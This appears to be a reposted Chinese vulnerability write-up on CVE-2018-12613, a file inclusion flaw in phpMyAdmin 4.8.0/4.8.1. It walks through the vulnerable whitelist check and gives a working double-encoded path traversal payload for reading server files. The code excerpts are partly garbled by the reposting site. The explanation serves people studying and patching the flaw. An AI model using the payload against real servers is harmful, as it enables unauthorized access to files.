PHP   发布时间:2022-04-04  发布网站:大佬教程  code.js-code.com
大佬教程收集整理的这篇文章主要介绍了CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。

CVE-2018-12613-@L_70_0@myadmin4.8.1远程文件包含漏洞复现

漏洞原理

攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞。该漏洞来自一部分代码,其中页面在@L_70_0@myAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。
攻击者必须经过身份验证,但在这些情况下除外:

  • $ cfg [‘AllowArbitraryServer’] = true:攻击者可以指定他/她已经控制的任何主机,并在@L_70_0@myAdmin上执行任意代码

  • $ cfg [‘ServerDefault’] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码

影响:@L_70_0@myAdmin-4.8.0/4.8.1

漏洞环境

漏洞成因

漏洞索引:

  • 文件路径:.\@L_70_0@myAdmin\index.PHP

  • 位置锁定:line 55~63

    CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现

源码分析:

// 如果有一个有效的目标,加载这个脚本
if (! empty($_requEST['target']) 
    //是否存在target参数
    && is_String($_requEST['target']) 
    //target是否为字符串
    && ! preg_match('/^index/', $_requEST['target'])
    //限制要求target以index开头
    && ! in_array($_requEST['target'], $targeT_Blacklist)
    //限制target不能出现在$targeT_Blacklist中
    /*
        $targeT_Blacklist = array(
            'import.PHP' , 'export.PHP'
        )
        // target != 'import.PHP' != 'export.PHP'
    */
    && Core::checkPageValidity($_requEST['target'])
    // Core类的checkPageValidity()方法
) {
    include $_requEST['target'];
    exit;
}

第61行include $_requEST['target'] 暴露了存在LFI的可能。

需要的是绕过限制:

CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现

CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现

public static function checkPageValidity(&$page, array $whitelist = [])
    {   
        if (empty($whitelist)) {
            // 白名单
            //$whitelist在函数调用的时候,没有值引用$goto_whitelist的内容(上图)
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($pagE) || !is_String($pagE)) {
            //$page没有定义或$page不为字符串时 返回false
            return false;
        }

        if (in_array($page, $whitelist)) { // in_array():搜索数组中是否存在指定的值
            //$page存在$whitelist中的value返回true
            return true;
        }

        $_page = mb_substr( //mb_substr():返回字符串的一部分
            $page,
            0,
            mb_strpos($page . '?', '?')
            //返回从开始到问号之间的字符串
        );
        if (in_array($_page, $whitelist)) {
            //$_page存在$whitelist中的value返回true
            return true;
        }
        
        $_page = urldecode($pagE);//urldecode():解码已编码的URL
    //经过urldecode函数解码后的$_page存在$whitelist中的某个值则返回true
        $_page = mb_substr(//返回从开始到问号之间的字符串
            $_page,
            0,
            mb_strpos($_page . '?', '?')
            //mb_strpos():查找在字符串中第一次出现的位置(大小写敏感)
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

465~473代码的目的:二次URL解码

利用二次编码“%253f”可以绕过checkPageValidity()的检查!

由于二次解码只是在checkPageValidity()中执行的,在index.PHP中只做过一次解码:?target=db_dataDict.PHP%3f由此就造成了文件包含漏洞

漏洞复现

任意文件包含:

?target=db_sql.PHP%253f/../../../../../../windows/wininit.ini

任意代码执行:

大佬总结

以上是大佬教程为你收集整理的CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现全部内容,希望文章能够帮你解决CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现所遇到的程序开发问题。

如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。
标签: